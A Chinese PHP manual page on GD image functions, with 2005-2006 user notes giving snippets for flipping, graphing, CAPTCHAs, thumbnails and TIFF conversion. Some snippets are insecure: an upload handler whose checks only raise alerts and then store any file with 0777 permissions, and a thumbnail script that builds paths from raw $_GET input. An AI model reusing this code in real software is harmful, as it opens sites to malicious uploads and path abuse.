imagerotate -- 用给定角度旋转图像
imagesavealpha -- 设置标记以在保存 PNG 图像时保存完整的 alpha 通道信息（与单一透明色相反）
imagesetbrush -- 设定画线用的画笔图像
imagesetpixel -- 画一个单一像素
imagesetstyle -- 设定画线的风格
imagesetthickness -- 设定画线的宽度
imagesettile -- 设定用于填充的贴图
imagestring -- 水平地画一行字符串
imagestringup -- 垂直地画一行字符串
imagesx -- 取得图像宽度
imagesy -- 取得图像高度
imagetruecolortopalette -- 将真彩色图像转换为调色板图像
imagettfbbox -- 取得使用 TrueType 字体的文本的范围
imagettftext -- 用 TrueType 字体向图像写入文本
imagetypes -- 返回当前 PHP 版本所支持的图像类型
imagewbmp -- 以 WBMP 格式将图像输出到浏览器或文件
imagexbm -- 将 XBM 图像输出到浏览器或文件
iptcembed -- 将二进制 IPTC 数据嵌入到一幅 JPEG 图像中
iptcparse -- 将二进制 IPTC http://www.iptc.org/ 块解析为单个标记
jpeg2wbmp -- 将 JPEG 图像文件转换为 WBMP 图像文件
png2wbmp -- 将 PNG 图像文件转换为 WBMP 图像文件

add a note add a note User Contributed Notes
php at synvb dot com
22-Apr-2006 11:19
Here is a single-function to flip, based on the one below.

<?php
  function flipImage($image, $vertical, $horizontal) {
   $w = imagesx($image);
   $h = imagesy($image);

   if (!$vertical && !$horizontal) return $image;

   $flipped = imagecreatetruecolor($w, $h);

   if ($vertical) {
     for ($y=0; $y<$h; $y++) {
       imagecopy($flipped, $image, 0, $y, 0, $h - $y - 1, $w, 1);
     }
   }

   if ($horizontal) {
     if ($vertical) {
       $image = $flipped;
       $flipped = imagecreatetruecolor($w, $h);
     }

     for ($x=0; $x<$w; $x++) {
       imagecopy($flipped, $image, $x, 0, $w - $x - 1, 0, 1, $h);
     }
   }

   return $flipped;
  }
?>
shd at earthling dot net
28-Mar-2006 08:44
If you happen to need a way to output a Windows BMP file (e.g. when using the PEAR ExcelWriter), feel free to use the following code:

<?php
function imagebmp ($im, $fn = false)
{
   if (!$im) return false;

   if ($fn === false) $fn = 'php://output';
   $f = fopen ($fn, "w");
   if (!$f) return false;

   //Image dimensions
   $biWidth = imagesx ($im);
   $biHeight = imagesy ($im);
   $biBPLine = $biWidth * 3;
   $biStride = ($biBPLine + 3) & ~3;
   $biSizeImage = $biStride * $biHeight;
   $bfOffBits = 54;
   $bfSize = $bfOffBits + $biSizeImage;

   //BITMAPFILEHEADER
   fwrite ($f, 'BM', 2);
   fwrite ($f, pack ('VvvV', $bfSize, 0, 0, $bfOffBits));

   //BITMAPINFO (BITMAPINFOHEADER)
   fwrite ($f, pack ('VVVvvVVVVVV', 40, $biWidth, $biHeight, 1, 24, 0, $biSizeImage, 0, 0, 0, 0));

   $numpad = $biStride - $biBPLine;
   for ($y = $biHeight - 1; $y >= 0; --$y)
   {
       for ($x = 0; $x < $biWidth; ++$x)
       {
           $col = imagecolorat ($im, $x, $y);
           fwrite ($f, pack ('V', $col), 3);
       }
       for ($i = 0; $i < $numpad; ++$i)
           fwrite ($f, pack ('C', 0));
   }
   fclose ($f);
   return true;
}
?>

It works the same way as regular imagejpeg/imagepng do and only supports GD2.0 true colour bitmaps (which is what's required by ExcelWriter).
felipensp at gmail dot com
13-Mar-2006 01:17
Representation decimal of a color in hexadecimal for use on functions of library GD.

<?php

   // Representation hexadecimal
   $var = '#FFFFFF';

   function getRgbFromGd($color_hex) {

       return array_map('hexdec', explode('|', wordwrap(substr($color_hex, 1), 2, '|', 1)));

   }

   print_r(getRgbFromGd($var));

   // Output: Array ( [0] => 255 [1] => 255 [2] => 255 )

?>
andrew dot barlow at gmail dot com
01-Mar-2006 01:47
To create a simple transparent gif with black text with any TrueType Font...

Simple put this script into a PHP file and call it with the usual IMG tag.

You can also specify the font size for the IMG tag too.

Change the $font to your own font and upload it to the same directory as this script.

<?php
// Set the content-type
header("Content-type: image/gif");

$fontsize = 18;
if(@$_GET['fontsize']) {
   $fontsize = $_GET['fontsize'];
}
$font = 'yourcustomfont.ttf';
$text = @$_GET['text'];

// Create the image
$size = imagettfbbox($fontsize, 0, $font, $text);
$width = $size[2] + $size[0] + 8;
$height = abs($size[1]) + abs($size[7]);

$im = imagecreate($width, $height);

$colourBlack = imagecolorallocate($im, 255, 255, 255);
imagecolortransparent($im, $colourBlack);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// Add the text
imagefttext($im, $fontsize, 0, 0, abs($size[5]), $black, $font, $text);

// Using imagepng() results in clearer text compared with
imagegif($im);
imagedestroy($im);
?>
relsqui at chiliahedron dot com
18-Feb-2006 03:14
<?php
// This is a correction to the image-flipping function I posted previously.
// The bitwise ands (&) were incorrectly written as logical ands (&&).
// Needless to say, that breaks the function in obnoxious--if amusing--ways.

define("VERTICAL", 1);
define("HORIZONTAL", 2);

function imageflip($image, $mode) {
       $w = imagesx($image);
       $h = imagesy($image);
       $flipped = imagecreate($w, $h);
       if ($mode & VERTICAL) {
               for ($y = 0; $y < $h; $y++) {
                       imagecopy($flipped, $image, 0, $y, 0, $h - $y - 1, $w, 1);
               }
       }
       if ($mode & HORIZONTAL) {
               for ($x = 0; $x < $w; $x++) {
                       imagecopy($flipped, $image, $x, 0, $w - $x - 1, 0, 1, $h);
               }
       }
       return $flipped;
}
?>
relsqui at chiliahedron dot com
14-Feb-2006 07:22
On the offchance someone else should need one, here's a function you can use to randomly "mix" two colors, resulting in a "child" color with components of both. You might use it to come up with ideas for a color scheme, for example; the image section seemed as good a place for it as any.

<?php
// $mom and $dad should be integers, quite possibly the output of hexdec().
// Similarly, the return value $child will be an integer suitable for feeding to dechex().

breed_colors($mom, $dad) {
       do { $maskhex .= rand()&1 ? "f" : "0"; } while (strlen($maskhex) < 6);
       $mask = hexdec($maskhex);
       $inversemask = $mask ^ 16777215;
       $child = ($mom & $mask) | ($dad & $inversemask);
       return $child;
}

// For example:
breed_colors(hexdec("012345"), hexdec("6789ab"));

// Let's say the random mask was ff0f0f.
// The inverse mask is therefore 00f0f0.
// $mom & $mask == 010305.
// $dad & $inversemask == 0080a0.
// Those two |ed together make 0183a5, which combines the traits of the parents into one $child.

?>
jan at anh dot sk
15-Jan-2006 08:03
When outputing an image from a script to a browser, use header("Content-Length: XYZ") together with Content-Type header. This avoids problems rendering-displaying the image with some browsers (f.i. MSIE) - fixes random image cutting of image bottom parts. Image from cache example:

<?php
$cache_file = "imagecache/{$ID}.img";

header("Content-Type: image/jpeg");
header("Content-Length: ".filesize($cache_file));

$cache = fopen($cache_file,"r");
fpassthru($cache);
fclose($cache);

exit;
?>

Problem observed @ Linux, Apache 2.0, PHP 4.3.10
matrixhasu at gmail dot com
14-Jan-2006 07:44
Sorry,
a little bug found in the previous note: what was

<?php
for ($i=0; $i<count($Values); $i++){
  $graphValues[$i] =
 ($Values[$i] - $min*(1-2*$graphspacing)) *
 (($imgHeight*(1-$graphspacing))/($max-$min));
}
?>

now has to be

<?php
for ($i=0; $i<count($Values); $i++){
  $graphValues[$i] =
 ($Values[$i] - $min*(1-2*$graphspacing)) *
 (($imgHeight*(1-$graphspacing))/($max-$min*(1-2*$graphspacing)));
?>
matrixhasu at gmail dot com
14-Jan-2006 08:02
I've take the example of Peter Hulstaert and modified so:

1. grid width is scaled basing on the number of data points to print;

2. images are scaled by min and max values:
   even if min is 1000, that point will be very close to the image bottom

Hope this will helpfull to someone.

<?
//Original from peter dot hulstaert at gmail dot com
//Available at http://it.php.net/manual/en/ref.image.php#60410

header("Content-type: image/png");

// Define variables
$Values=array(120,190,130,155,150,140,320,150,140,186,240,128,650);
$imgWidth=500;
$imgHeight=200;
$grid=25;
$graphspacing=0.07;
//Scales number of vertical grid lines for the number of data to print
$gridW=$imgWidth/(count($Values)-1);

//Get min and max values to scale image
for ($i=0; $i<count($Values); $i++){
  if ($Values[$i]>$max){$max=$Values[$i];}
}

//Min values are less the maximum...
$min = $max;

for ($i=0; $i<count($Values); $i++){
  if ($Values[$i]<$min){$min=$Values[$i];}
}

for ($i=0; $i<count($Values); $i++){
  $graphValues[$i] =
 ($Values[$i] - $min*(1-2*$graphspacing)) *
 (($imgHeight*(1-$graphspacing))/($max-$min));
}

// Create image and define colors
$image=imagecreate($imgWidth, $imgHeight);
$colorWhite=imagecolorallocate($image, 255, 255, 255);
$colorGrey=imagecolorallocate($image, 192, 192, 192);
$colorBlue=imagecolorallocate($image, 0, 0, 255);

// Create border around image
imageline($image, 0, 0, 0, $imgHeight, $colorGrey);
imageline($image, 0, 0, $imgWidth, 0, $colorGrey);
imageline($image, $imgWidth-1, 0, $imgWidth-1, $imgHeight-1, $colorGrey);
imageline($image, 0, $imgHeight-1, $imgWidth-1, $imgHeight-1, $colorGrey);

// Create grid
for ($i=1; $i<($imgWidth/$gridW); $i++)
   {imageline($image, $i*$gridW, 0, $i*$gridW, $imgHeight, $colorGrey);}
for ($i=1; $i<($imgHeight/$grid); $i++)
   {imageline($image, 0, $i*$grid, $imgWidth, $i*$grid, $colorGrey);}

//Create the lines connecting points
for ($i=0; $i<count($graphValues)-1; $i++)
   {imageline($image, $i*$gridW, ($imgHeight-$graphValues[$i]),
 ($i+1)*$gridW, ($imgHeight-$graphValues[$i+1]), $colorBlue);}

// Output graph and clear image from memory
imagepng($image);
imagedestroy($image);
?>
peter dot hulstaert at gmail dot com
06-Jan-2006 09:18
While I was searching for a good way to draw a graph, I stumbled on skumar2k15's script.

I have taken the liberty to improve multiple aspects of it.

1. The array can grow and shrink in size, the graph will adjust accordingly.
2. All the values in the array are recalculated so they won't get bigger than the height of the graph.
3. I inserted the possibility to keep a percentage off the height away from the edge.
4. You can adjust the size of the grid.
5. Everything will adjust when you change the height of width.

<?
header("Content-type: image/png");

// Define variables
$Values=array(50,90,30,155,50,40,320,50,40,86,240,128,650,540,320);
$imgWidth=500;
$imgHeight=200;
$grid=25;
$graphspacing=0.05;

//Creation of new array with hight adjusted values
while (list($key, $val) = each($Values))
   {if($val>$max){$max=$val;}}

for ($i=0; $i<count($Values); $i++){
$graphValues[$i] = $Values[$i] * (($imgHeight*(1-$graphspacing))/$max);
}
// Create image and define colors

$image=imagecreate($imgWidth, $imgHeight);
$colorWhite=imagecolorallocate($image, 255, 255, 255);
$colorGrey=imagecolorallocate($image, 192, 192, 192);
$colorBlue=imagecolorallocate($image, 0, 0, 255);

// Create border around image
imageline($image, 0, 0, 0, $imgHeight, $colorGrey);
imageline($image, 0, 0, $imgWidth, 0, $colorGrey);
imageline($image, $imgWidth-1, 0, $imgWidth-1, $imgHeight-1, $colorGrey);
imageline($image, 0, $imgHeight-1, $imgWidth-1, $imgHeight-1, $colorGrey);

// Create grid
for ($i=1; $i<($imgWidth/$grid); $i++)
   {imageline($image, $i*$grid, 0, $i*$grid, $imgHeight, $colorGrey);}
for ($i=1; $i<($imgHeight/$grid); $i++)
   {imageline($image, 0, $i*$grid, $imgWidth, $i*$grid, $colorGrey);}

// Create line graph
if($imgWidth/$grid>count($graphValues)){$space=$grid;}
else{$space = $imgWidth/(count($graphValues)-1);}

for ($i=0; $i<count($graphValues)-1; $i++)
   {imageline($image, $i*$space, ($imgHeight-$graphValues[$i]), ($i+1)*$space, ($imgHeight-$graphValues[$i+1]), $colorBlue);}

// Output graph and clear image from memory
imagepng($image);
imagedestroy($image);
?>
razonklnbd at yahoo dot com
26-Dec-2005 03:12
I was looking for a function to get propotional image size. After a bit of thinking I came up with this pretty fast solution:

<?php
function getPropotionalSize($src_w, $src_h, $max_w, $max_h){
   $return_val['width']=$src_w;
   $return_val['height']=$src_h;
   if($max_w<$src_w || $max_h<$src_h){
       $return_val['width']=$max_w;
       $return_val['height']=$max_h;
       if($src_w>=$src_h) $return_val['height']=($max_w*$src_h)/$src_w;
       else $return_val['width']=($max_h*$src_w)/$src_h;
   }
   return $return_val;
}
?>

Hope it saved somebody some time!
orbitphreak at yahoo dot com
07-Dec-2005 01:46
If you want to have a dynamic image validation code
like yahoo, you can use this function:

<?php
function generateValidationImage($rand) {
   global $site_font_path;
   global $site_font_validation;
   $width = 120;
   $height = 40;
   $image = imagecreate($width, $height);
   $bgColor = imagecolorallocate ($image, 255, 255, 255);
   $textColor = imagecolorallocate ($image, 0, 0, 0);

   // Add Random noise
   for ($i = 0; $i < 250; $i++) {
     $rx1 = rand(0,$width);
     $rx2 = rand(0,$width);
     $ry1 = rand(0,$height);
     $ry2 = rand(0,$height);
     $rcVal = rand(0,255);
     $rc1 = imagecolorallocate($image,
   rand(0,255),
   rand(0,255),
   rand(100,255));

     imageline ($image, $rx1, $ry1, $rx2, $ry2, $rc1);
   }

   // write the random number
   $font = imageloadfont($site_font_path."/".$site_font_validation);
   imagestring($image, $font, 3, 0, $rand, $textColor);

   // send several headers to make sure the image is not cached
   // Date in the past

   header("Expires: Mon, 23 Jul 1993 05:00:00 GMT");

   // always modified
   header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");

   // HTTP/1.1
   header("Cache-Control: no-store, no-cache, must-revalidate");
   header("Cache-Control: post-check=0, pre-check=0", false);

   // HTTP/1.0
   header("Pragma: no-cache");

   // send the content type header so the image is displayed properly
   header('Content-type: image/jpeg');

   imagejpeg($image);
   imagedestroy($image);
  }

?>

The $site_font_path should be set to something like "/home/user/www/fonts".
The $site_font_validation should be set to the name of the GD font file,
like "anonymous.gdf".

You can view and download the code here:
http://www.digital-seven.net/?option=com_content&task=view&id=67
Jonas Sweden
17-Nov-2005 07:51
Simple script for getting a jpg-thumb by submitting imgname and either height or width of the thumb!
<?php
if(isset($_GET["i"]) && ("" != $_GET["i"])){
   $fn = "path/to/jpgs/".$_GET["i"].".jpg";
   if(false !== (list($ws,$hs) = @getimagesize($fn))){
       if(isset($_GET["w"]) && ("" != $_GET["w"])){
           $ratio = ((float)$_GET["w"]) / $ws;
           }
       elseif(isset($_GET["h"]) && ("" != $_GET["h"])){
           $ratio = ((float)$_GET["h"]) / $hs;
           }
       if(isset($ratio)){
           $wt = $ws * $ratio;
           $ht = $hs * $ratio;
           $thumb = imagecreatetruecolor($wt,$ht);
           $source = imagecreatefromjpeg($fn);
           imagecopyresampled($thumb,$source,0,0,0,0,$wt,$ht,$ws,$hs);
           header('Content-type: image/jpeg');
           imagejpeg($thumb);
           imagedestroy($thumb);
           }
       }
   }
?>
skumar2k15 [at] gmail [dot] com
07-Nov-2005 06:24
Generate a line graphs on-the-fly through php image functions.
<br>

code for linechart.php

<?
// Add values to the graph
$graphValues=array(0,80,23,11,190,245,50,80,111,240,55);

// Define .PNG image
header("Content-type: image/png");
$imgWidth=250;
$imgHeight=250;

// Create image and define colors
$image=imagecreate($imgWidth, $imgHeight);
$colorWhite=imagecolorallocate($image, 255, 255, 255);
$colorGrey=imagecolorallocate($image, 192, 192, 192);
$colorBlue=imagecolorallocate($image, 0, 0, 255);

// Create border around image
imageline($image, 0, 0, 0, 250, $colorGrey);
imageline($image, 0, 0, 250, 0, $colorGrey);
imageline($image, 249, 0, 249, 249, $colorGrey);
imageline($image, 0, 249, 249, 249, $colorGrey);

// Create grid
for ($i=1; $i<11; $i++){
imageline($image, $i*25, 0, $i*25, 250, $colorGrey);
imageline($image, 0, $i*25, 250, $i*25, $colorGrey);
}

// Create line graph
for ($i=0; $i<10; $i++){
imageline($image, $i*25, (250-$graphValues[$i]), ($i+1)*25, (250-$graphValues[$i+1]), $colorBlue);
}

// Output graph and clear image from memory
imagepng($image);
imagedestroy($image);

?>

Thanks and regards,
skumar k.
michal-ok at o2 dot pl
19-Oct-2005 05:29
The image sharpen function (by Alex R. Austin) provided below seems to be very resource hungry and I couldn't make it work on two different servers - trying to sharpen a 413 x 413 image I ended up with "Fatal error: Allowed memory size of 8388608 bytes exhausted" or "Internal Server Error" or the script terminated without notice. Because I had no priviliges to change the default memory limit on these servers I started looking for other sharpen functions. I have come across a php Unsharp Mask function which works like a charm on both of the servers I dealt with. It can be found at http://vikjavev.no/hovudsida/umtestside.php.
mslemko
10-Oct-2005 03:09
For fedora core 4 users that find that the gd library isn't installed, you can issue the command (as root)

# yum install php-gd

it should download and install the gd library. You will need to restart apache... phpinfo() should then tell you "GD Support    enabled".
trucex at gmail
28-Aug-2005 07:18
@snagnever|gmail|com:

I modified the ascii image script you wrote so that it displays an image that looks real. While impractical due to speed, the concept is actually really cool. Here it is:

<?php
//
// image2asci - test script 2
// by sn4g <snagnever@gmail.com>
// 2005 - april - 2

// simple script that read "each" pixel from a image and
// outputs an html colorized version of it.
//

$name = basename($_GET['name']);

$file = "/path/to/images/" . $name;

if( file_exists($file) ) {
   $what = getimagesize($file);

   switch( $what['mime'] ){
   case 'image/png' : $src_id = imagecreatefrompng($file); break;
   case 'image/jpeg': $src_id = imagecreatefromjpeg($file); break;
   case 'image/gif' : $old_id = imagecreatefromgif($file); $src_id = imagecreatetruecolor($what[0],$what[1]); imagecopy($src_id,$old_id,0,0,0,0,$what[0],$what[1]); break;
   default: break;
   }

}
else die("No such file");

if( $src_id ){

   $x_size = imagesx($src_id);
   $y_size = imagesy($src_id);

   // if it really read each pixel, it'd be too slow and heavy. so, we only use every third pixel. This resizes the image (by 1/3 obviously), so set it to 1 if you don't want that.
   $x_jump = $y_jump = 3;

   // char/strings that will construct the image. it's randomly selected after,
   // in the loop. a value in the array will be one pixel in the asci-image.
   $pixel_char = array(0);

   echo "The image is $x_size x $y_size\n";

   echo "<span style='font-size:8px; font-weight:bold;'><style>td.a { width:1px; height:1px; }</style>";
   echo "<table margin=0 cellspacing=0 cellpadding=0><tr>";

   // now it has a 'nested loop' to read 'each' pixel and print it
   for( $y = 0; $y < $y_size; $y+=$y_jump ){

       for( $x = 0; $x < $x_size; $x+=$x_jump ){

           if( $x >= $x_size || $y >= $y_size ) break;

           $rgb = @imagecolorat($src_id, $x, $y);
           $r = ($rgb >> 16) & 0xFF;
           $g = ($rgb >> 8) & 0xFF;
           $b = $rgb & 0xFF;

           if( $x >= $x_size ) break;
           if( $y >= $y_size ) break;

           $pc = rand(0,count($pixel_char)-1);
           $pc = $pixel_char[$pc];

           echo "<td class=a style='background-color:rgb($r,$g,$b)'></td>";

       } // end of 'x' loop

       echo "</tr><tr>\r\n"; // end of a line

   } // end of 'y' loop
}

?>
timeshifting at gmail dot com
25-Aug-2005 06:39
To sharpen an image, rather than using the code below that produces a sharpening filter with php, use the built-in GD function "imageconvolution" which is designed for this purpose. Matrices can be used for sharpening, blurring, edge detection, etc, ala Photoshop.

A sharpening example:

<?php

$sharpenMatrix = array(-1,-1,-1,-1,16,-1,-1,-1,-1);
$divisor = 8;
$offset = 0;

imageconvolution($myImage, $sharpenMatrix, $divisor, $offset);

?>

Below is some information on building different kinds of matrices. (If you have photoshop (or PSP, GIMP) you can test out your matrices before applying them in PHP)

http://loriweb.pair.com/8udf-basics.html (covers blurs)
http://loriweb.pair.com/8udf-sharpen.html
http://loriweb.pair.com/8udf-edges.html
http://loriweb.pair.com/8udf-emboss.html
tfl at netcabo dot pt
19-Aug-2005 06:48
IE doesn't show TIFF files and standard PHP distribution doesn't support converting to/from TIFF.

ImageMagick (http://www.imagemagick.org/script/index.php) is a free software that can read, convert and write images in a large variety of formats. For Windows users it includes a PHP extension php_magickwand_st.dll (and yes, it runs under PHP 5.0.4).

When converting from TIFF to JPEG, you must also convert from CMYK color space to RGB color space as IE can't show CMYK JPGs either. Please note:
-TIFF files may have RGB or CMYK color space
-JPEG files may have RGB or CMYK color space

Here are example functions using ImageMagick extension:
- convert TIFF to JPEG file formats
- convert CMIK to RGB color space
- set image resolution to 300 DPIs (doesn't change image size in pixels)

<?php

function cmyk2rgb($file) {
   $mgck_wnd = NewMagickWand();
   MagickReadImage($mgck_wnd, $file);

   $img_colspc = MagickGetImageColorspace($mgck_wnd);
   if ($img_colspc == MW_CMYKColorspace) {
       echo "$file was in CMYK format<br />";
       MagickSetImageColorspace($mgck_wnd, MW_RGBColorspace);
   }
   MagickWriteImage($mgck_wnd, str_replace('.', '-rgb.', $file));
}

function tiff2jpg($file) {
   $mgck_wnd = NewMagickWand();
   MagickReadImage($mgck_wnd, $file);

   $img_colspc = MagickGetImageColorspace($mgck_wnd);
   if ($img_colspc == MW_CMYKColorspace) {
       echo "$file was in CMYK format<br />";
       MagickSetImageColorspace($mgck_wnd, MW_RGBColorspace);
   }
   MagickSetImageFormat($mgck_wnd, 'JPG' );
   MagickWriteImage($mgck_wnd, str_replace('.tif', '.jpg', $file));
}

function to300dpi($file) {
   $mgck_wnd = NewMagickWand();
   MagickReadImage($mgck_wnd, $file);
   $img_units = MagickGetImageUnits($mgck_wnd);
   switch ($img_units) {
       case MW_UndefinedResolution: $units= 'undefined'; break;
       case MW_PixelsPerInchResolution: $units= 'PPI'; break;
       case MW_PixelsPerCentimeterResolution: $units= 'PPcm'; break;
   }
   list($x_res, $y_res) = MagickGetImageResolution($mgck_wnd);
   echo "$file<br /> x_res=$x_res $units - y_res=$y_res $units<br />";
   if($x_res == 300 && $y_res == 300 && $img_units == MW_PixelsPerInchResolution) {return; }
   MagickSetImageResolution($mgck_wnd, 300 , 300);
   MagickSetImageUnits($mgck_wnd, MW_PixelsPerInchResolution);
   MagickWriteImage($mgck_wnd, str_replace('.', '-300.', $file));
}

$file='photos/test-cmyk.tif';
//this is a TIFF file in CMYK format with a 96 DPI resolution

cmyk2rgb($file);
$file = str_replace('.', '-rgb.', $file);

to300dpi($file);
$file = str_replace('.', '-300.', $file);

tiff2jpg($file);
$file = str_replace('.tif', '.jpg', $file);

to300dpi($file);
/* no file name changes as ImageMagick reports 300 DPIs
$file = str_replace('.', '-300.', $file);
*/

list($width, $height, $type, $attr) = getimagesize($file);
$width = $width/3;
$height = $height/3;
echo "<img src=\"http://localhost/$file\" width=\"$width\" height=\"$height\" alt=\"getimagesize() example\" />";
echo "<br />$file => width=$width - height=$height - type=$type - attr=$attr<br /><br />";

$file='photos/test-rgb.tif';
//this is a TIFF file in RGB format with a 96 DPI resolution

cmyk2rgb($file);
$file = str_replace('.', '-rgb.', $file);

to300dpi($file);
$file = str_replace('.', '-300.', $file);

tiff2jpg($file);
$file = str_replace('.tif', '.jpg', $file);

to300dpi($file);
/* no file name changes as ImageMagick reports 300 DPIs
$file = str_replace('.', '-300.', $file);
*/

list($width, $height, $type, $attr) = getimagesize($file);
$width = $width/3;
$height = $height/3;
echo "<img src=\"http://localhost/$file\" width=\"$width\" height=\"$height\" alt=\"getimagesize() example\" />";
echo "<br />$file => width=$width - height=$height - type=$type - attr=$attr<br /><br />";

?>

Note - Although ImageMagick correctly sets JPEG files resolution to 300 DPIs, some programs might not notice it.
Mark Rosenthal <mbr at arlsoft dot com>
15-Aug-2005 02:48
In AmX's example of how to generate headers to prevent the browser
from trying to cache a script-generated image, he wrote: "I did not
yet find a way to get the filesize of a GD made image, so I assume you
save it to disk, get the filesize and read it again."

That's not necessary.  Here's AmX's example, reworked to output the
correct "Content-Length: " header without the intermediate step of
storing the image in a file:

       // The following code assumes that $gd has been set to the GD
       // resource of the image we want to output.

       // Turn on output buffering
       ob_start();

       // Output will now go to a buffer rather than the browser.
       imagejpeg($gd);

       header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
       header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
       header("Cache-Control: no-store, no-cache, must-revalidate");
       header("Cache-Control: post-check=0, pre-check=0", false);
       header("Pragma: no-cache");
       header("Content-type: image/jpeg");

       // Tell the browser the number of bytes that have been
       // written to the buffer.
       header("Content-Length: " . ob_get_length());

       // Now send the buffer's contents to the browser and turn off
       // output buffering.
       ob_end_flush();

       // Remember to free the memory used by the GD resource, or the
       // sever will eventually crash.
       imagedestroy($gd);

       // Headers and image data have been sent.  We're done.
       exit;
Maarten Balliauw
03-Aug-2005 10:45
A PHP "skew" function:

<?
$angle = 15;
$pDirection = 1;

header("Content-Type: image/png");
imagepng(ImageSkew("test.png", $angle, 1));
exit();

function ImageSkew($pImage, $pAngle, $pDirection = 0) {
  // Source image
  $iSource = ImageCreateFromPng("test.png");

  // Destination image
  list($width, $height, $type, $attr) = getimagesize($pImage);
  $iCanvas = @imagecreate($width, $height);
  $cCyan = imagecolorallocate($iCanvas, 255, 0, 255);
  imagefill($iCanvas, 0, 0, $cCyan);

  // Pixel differences
  $diff = ($pAngle / 90);

  // Loop trough each width pixel
  $currentHeight = $height;
  $currentY = 0;
  if ($pDirection == 1) {
   $currentHeight = 0;
   $currentY = $height;
  }
  for ($i = 0; $i < $width; $i++) {
   // Take 1*height sample and copy to iCanvas
   if ($pDirection == 0) {
     imagecopyresampled($iCanvas, $iSource, $i, $currentY, $i, 0, 1, $currentHeight, 1, $height);
   } else {
     imagecopyresampled($iCanvas, $iSource, ($width - $i), $currentY, ($width - $i), 0, 1, $currentHeight, 1, $height);
   }

   // Change heights
   if ($pDirection == 0) {
     $currentHeight = $currentHeight - ($diff * 2);
     $currentY = ($height - $currentHeight) / 2;
   } else {
     $currentHeight = $height - ( $i * ($diff * 2) );
     $currentY = ($height - $currentHeight) / 2;
   }
  }

  // Return
  return $iCanvas;
}
?>
yasin yyalcinkaya at ku dot edu dot tr
29-Jul-2005 10:01
firstly , i wrote this class. we can easily call it from anywhere. Soppose , its name is  "imageuploader.class.php" and our main file's name is upload.php.
<?php
class Imenu
{
function Ifonc() {
       echo "<table class=\"adminform\">"
           ."<form method=\"post\" action=\"upload.php\" enctype=\"multipart/form-data\" name=\"filename\">"
           ."<tr><th class=\"title\"> File Upload : $directory </th>"
           ."</tr><tr><td align=\"center\"><input class=\"inputbox\" name=\"userfile\" type=\"file\" />"
           ."</td></tr><tr><td>"
           ."<input class=\"button\" type=\"submit\" value=\"Upload\" name=\"fileupload\" />"
             ."</td><tr><td>"
           ."<input type=\"hidden\" name=\"directory\" value=\"$directory\" />"
             ."</td></tr></form>"
           ."</table>";
         return true;
   }
}
?>
then we use this part in our main function.

<?php
....
  ....
   ....
$userfile2=(isset($_FILES['userfile']['tmp_name']) ? $_FILES['userfile']['tmp_name'] : "");
$userfile_name=(isset($_FILES['userfile']['name']) ? $_FILES['userfile']['name'] : "");
if (isset($_FILES['userfile'])) {
if ($directory!="banners") {
   $base_Dir = "images/";
   } else {
   $base_Dir = "images/";
   }
   if (empty($userfile_name)) {
   echo "<script>alert('Please select an image to upload'); document.location.href='upload.php';</script>";
   }
   $filename = split("\.", $userfile_name);
   if (eregi("[^0-9a-zA-Z_]", $filename[0])) {
       echo "<script> alert('File must only contain alphanumeric characters and no spaces please.');</script>\n";
   }
   if (file_exists($base_Dir.$userfile_name)) {
       echo "<script> alert('Image $userfile_name already exists.');</script>\n";
   }
   if ((strcasecmp(substr($userfile_name,-4),".gif")) && (strcasecmp(substr($userfile_name,-4),".jpg"))
     && (strcasecmp(substr($userfile_name,-4),".png")) && (strcasecmp(substr($userfile_name,-4),".bmp"))
     && (strcasecmp(substr($userfile_name,-4),".doc")) && (strcasecmp(substr($userfile_name,-4),".xls"))
     && (strcasecmp(substr($userfile_name,-4),".ppt")) && (strcasecmp(substr($userfile_name,-4),".swf"))
     && (strcasecmp(substr($userfile_name,-4),".pdf"))) {
   echo "<script>alert('The file must be gif, png, jpg, bmp, swf, doc, xls or ppt');</script>\n";
   }
   if (eregi(".pdf", $userfile_name) || eregi(".doc", $userfile_name) || eregi(".xls", $userfile_name)
         || eregi(".ppt", $userfile_name)) {
       if (!move_uploaded_file ($_FILES['userfile']['tmp_name']
         ,$media_path.$_FILES['userfile']['name'])
             || !chmod($media_path.$_FILES['userfile']['name'],0777)) {
       echo "<script>alert('Upload of $userfile_name failed');</script>\n";
       }
       else {
       echo "<script>alert('Upload of $userfile_name to $media_path successful');</script>\n";
       }
   } elseif (!move_uploaded_file ($_FILES['userfile']['tmp_name']
           ,$base_Dir.$_FILES['userfile']['name'])
           || !chmod($base_Dir.$_FILES['userfile']['name'],0777)) {
   echo "<script>alert('Upload of $userfile_name failed'); </script>\n";
   }
   else {
   echo "<script>alert('Upload of $userfile_name to $base_Dir successful'); </script>\n";
   }
}
 include_once "imageuploader.class.php";
   $Imenu = new Imenu;
   $Imenu ->Ifonc();
             ....
               ....
                 ....
?>
with script we can upload our files.
AmX
05-Jul-2005 06:03
As many people found any PhP made image working standalone but not in an img tag, I 'll explain how I solved it.

//Part1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
//Part2
header('Content-Length: '.filesize($pic));
header('Content-type: image/jpeg');
readfile($pic);

Just some header work, the first part makes the image non-cacheable and the second one ensures the browser gets all the needed information.
As I did not need it I did not yet find a way to get the filesize of a GD made image, so I assume you save it to disk, get the filesize and read it again.
I hope I just helped you out, and saved you from 2 hours of finding out why the stupid PhP has to add data at the beginning of your image. It may look trivial, the Content-Length is not given by default!

AmX
http://mike.eire.ca
01-Jul-2005 03:13
ceo at l-i-e dot com:
II AND MM are referring to Intel and Motorola byte order within the TIFF image.  If, for example, you save a TIFF in Photoshop you are given the option of 'PC' or 'Macintosh': this determines what byte order will be used to store the image.  If you don't already know about byte order, you probably don't want to!
alex at bestgames dot ro
01-Jul-2005 01:04
This function helps you to create a simple statistic graphics.
Arguments
$values, values should be separed by comma
$options may be separed by comma options can be timeline=format, title=a string or image=a source, where format can be sec, min, hour, days/number, days/name, months/number, months/name or years.
$x, $y reffers to upper left corner where the graphic should begin
$image is the image resource
$graphic_color, $highlight_color, $grid_color are colors strings

Hope it will be useful!

Example of function:
function image_create_grid("1,2,3,4,5", "title=A simple graphic,timeline=months/name", 0, 0, $image, "navy, "green", "gray")

